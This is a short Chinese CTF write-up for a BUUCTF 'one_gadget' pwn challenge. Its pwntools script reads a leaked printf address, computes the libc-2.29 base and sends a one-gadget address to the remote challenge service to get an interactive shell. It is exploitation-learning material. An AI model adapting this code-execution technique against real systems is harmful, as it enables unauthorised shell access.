64位,放进ida看看
看一看这个main方法,要我们输入一个gadget,然后它回打印出来,再来看看init方法
用onegadget看看libc
one_gadget libc-2.29.so
发现
写脚本
from pwn import *
r=remote("node3.buuoj.cn",27772)
elf=ELF("./one_gadget")
libc=ELF('libc-2.29.so')
one_gadget1=[0xe237f,0xe2383,0xe2386,0x106ef8]
addr=int(r.recvline()[23:-1],16)
libc_base=addr-libc.sym['printf']
one_gadget=libc_base+one_gadget1[3]
r.recvuntil("Give me your one gadget:")
r.sendline(str(one_gadget))
r.interactive()